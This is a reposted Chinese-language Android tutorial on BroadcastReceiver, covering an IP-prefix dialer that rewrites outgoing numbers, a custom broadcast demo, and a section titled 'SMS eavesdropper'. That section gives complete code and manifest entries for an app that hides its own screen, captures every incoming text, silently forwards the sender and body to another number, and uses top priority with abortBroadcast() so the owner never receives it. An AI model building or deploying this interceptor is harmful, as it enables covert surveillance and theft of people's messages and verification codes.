码迷,mamicode.com
首页 > 移动开发 > 详细

Android中 广播BroadcastReceiver

时间:2015-05-22 22:40:40      阅读:193      评论:0      收藏:0      [点我收藏+]

标签:android广播   broadcastreceiver   广播接收者   

一、IP拨号器

activity_main.xml文件:

只有一个输入ip的文本框和一个保存按钮,

<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:orientation="vertical"
    tools:context=".MainActivity" >

    <EditText
        android:id="@+id/et_ipnumber"
        android:layout_width="fill_parent"
        android:layout_height="wrap_content"
       	android:hint="请输入要设置的ip号码"
         />
    <Button 
        android:onClick="save"
        android:layout_width="fill_parent"
        android:layout_height="wrap_content"
        android:text="保存"
        />

</LinearLayout>

MainActivity.java

点击保存按钮后执行的程序,将输入的ip号以SharedPreferences的方式保存在本地,

package com.itheima.ipdail;

import android.os.Bundle;
import android.app.Activity;
import android.content.SharedPreferences;
import android.content.SharedPreferences.Editor;
import android.view.Menu;
import android.view.View;
import android.widget.EditText;
import android.widget.Toast;

public class MainActivity extends Activity {
	private EditText et_ipnumber;
	private SharedPreferences sp;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);
        sp = getSharedPreferences("config", MODE_PRIVATE);
        et_ipnumber = (EditText) findViewById(R.id.et_ipnumber);
    }
    /**
     * 保存按钮对应的点击事件
     * @param view
     */
    public void save(View view){
    	String ipnumber = et_ipnumber.getText().toString().trim();
    	Editor editor = sp.edit();
    	editor.putString("ipnumber", ipnumber);
    	editor.commit();
    	Toast.makeText(this, "保存ip号码完毕", 0).show();
    }
}

OutCallReceiver.java

广播接受者,当有外拨电话到来的时候,从本地SharedPreferences中取出IP号,然后和外拨号码拼接成新字符串显示早拨号界面上,

package com.itheima.ipdail;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.util.Log;

/**
 * 广播接收者,当有外拨电话到来的时候 会处理这个消息
 *
 */
public class OutCallReceiver extends BroadcastReceiver {
	
	private static final String TAG = "OutCallReceiver";
	private SharedPreferences sp;

	/**
	 * 当广播接受者接受到广播事件的时候调用的方法
	 */
	@Override
	public void onReceive(Context context, Intent intent) {
		String number = getResultData();
		Log.i(TAG,"有新的电话打出去了。电话号码为:"+number);
		sp = context.getSharedPreferences("config", Context.MODE_PRIVATE);
		String ipnumber = sp.getString("ipnumber", "");
		setResultData(ipnumber+number);
	}

}

别忘了在AndroidManifest.xml文件中添加,

 <uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS"/>
<!--   意图过滤器 -->
        <receiver android:name="com.itheima.ipdail.OutCallReceiver">
            <intent-filter >
                <action android:name="android.intent.action.NEW_OUTGOING_CALL"/>
            </intent-filter>
        </receiver>

结果:

技术分享

技术分享

技术分享


二、短信窃听器

MainActivity.java

package com.itheima.smslistener;

import android.os.Bundle;
import android.app.Activity;
import android.view.Menu;

public class MainActivity extends Activity {

	@Override
	protected void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);
		finish();
	}
}

SmsReceiver.java

5556->5554发送短信,利用广播接受者取出短信内容

package com.itheima.smslistener;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;
import android.util.Log;

public class SmsReceiver extends BroadcastReceiver {
	
	private static final String TAG = "SmsReceiver";

	@Override
	public void onReceive(Context context, Intent intent) {
		Log.i(TAG,"有新的短信到来了。");
		Object[] objs = (Object[]) intent.getExtras().get("pdus");
		for(Object obj:objs){
			 SmsMessage smsMessage = SmsMessage.createFromPdu((byte[]) obj);
			String sender = smsMessage.getOriginatingAddress();
			String body = smsMessage.getMessageBody();
			Log.i(TAG,"短信的发件人:"+sender);
			Log.i(TAG,"短信的内容:"+body);
		}
	}
}
技术分享

技术分享


当SmsReceiver.java改为如下:

模拟5558->5554发送短信,当5554接收到短信后,自动发送给5556,实现了短信窃听功能,

package com.itheima.smslistener;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;
import android.util.Log;

public class SmsReceiver extends BroadcastReceiver {
	
	private static final String TAG = "SmsReceiver";

	@Override
	public void onReceive(Context context, Intent intent) {
		Log.i(TAG,"有新的短信到来了。");
		Object[] objs = (Object[]) intent.getExtras().get("pdus");
		for(Object obj:objs){
			 SmsMessage smsMessage = SmsMessage.createFromPdu((byte[]) obj);
			String sender = smsMessage.getOriginatingAddress();
			String body = smsMessage.getMessageBody();
			Log.i(TAG,"短信的发件人:"+sender);
			Log.i(TAG,"短信的内容:"+body);
			SmsManager smsManager = SmsManager.getDefault();
			smsManager.sendTextMessage("5556", null, sender+"--"+body, null, null);
		}
	}
}
技术分享

技术分享

技术分享


当SmsReceiver.java改为如下:

5558->5554发送短信,

package com.itheima.smslistener;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsManager;
import android.telephony.SmsMessage;
import android.util.Log;

public class SmsReceiver extends BroadcastReceiver {
	
	private static final String TAG = "SmsReceiver";

	@Override
	public void onReceive(Context context, Intent intent) {
		Log.i(TAG,"有新的短信到来了。");
		Object[] objs = (Object[]) intent.getExtras().get("pdus");
		for(Object obj:objs){
			 SmsMessage smsMessage = SmsMessage.createFromPdu((byte[]) obj);
			String sender = smsMessage.getOriginatingAddress();
			String body = smsMessage.getMessageBody();
			Log.i(TAG,"短信的发件人:"+sender);
			Log.i(TAG,"短信的内容:"+body);
			SmsManager smsManager = SmsManager.getDefault();
			smsManager.sendTextMessage("5556", null, sender+"--"+body, null, null);
			//终止短信的广播事件。
			abortBroadcast();
		}
	}
}
<span style="font-size:14px;">在AndroidManifest.xml文件中添加,</span>
 <receiver android:name="com.itheima.smslistener.SmsReceiver">
            <intent-filter android:priority="1000">
                <action android:name="android.provider.Telephony.SMS_RECEIVED"></action>
            </intent-filter>
        </receiver>
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.SEND_SMS"/>

因为广播接受者优先级1000,最高,而且广播接受着终止了短信的广播后续事件,因此5554并为收到短信,

但是5556能接收到短信,因为在终止广播事件之前向5556转发了,
技术分享

技术分享技术分享


三、自定义广播接收者

1.自定义发送广播

acticity_main.xml文件为,

<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    tools:context=".MainActivity" >

    <Button
        android:onClick="send"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:layout_centerHorizontal="true"
        android:layout_centerVertical="true"
        android:text="发送自定义广播" />

</RelativeLayout>

MainActivity.java文件为,

package com.itheima.sendbroadcast;

import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
import android.view.View;

public class MainActivity extends Activity {

	@Override
	protected void onCreate(Bundle savedInstanceState) {
		super.onCreate(savedInstanceState);
		setContentView(R.layout.activity_main);
	}

	public void send(View view){
		Intent intent = new Intent("com.itheima.sendbroadcast.demo");
		sendBroadcast(intent);
	}

}

2.自定义广播接收者

acticity_main.xml文件为空,

MainActivity.java文件为空,


MyBroadcastReceiver.java文件为,

package com.itheima.myreceiver;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.widget.Toast;

public class MyBroadcastReceiver extends BroadcastReceiver {

	@Override
	public void onReceive(Context context, Intent intent) {
		Toast.makeText(context, "我是自定义的广播接受者,我接受到了自定义消息", 0).show();

	}

}

在AndroidMainfest.xml文件中添加如下,

<!-- 定义一个广播接受者接受的是自定义的消息 -->
        <receiver android:name="com.itheima.myreceiver.MyBroadcastReceiver">
            <intent-filter >
                <action android:name="com.itheima.sendbroadcast.demo"/>
            </intent-filter>
        </receiver>

技术分享


Android中 广播BroadcastReceiver

标签:android广播   broadcastreceiver   广播接收者   

原文地址:http://blog.csdn.net/wtyvhreal/article/details/45920659

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!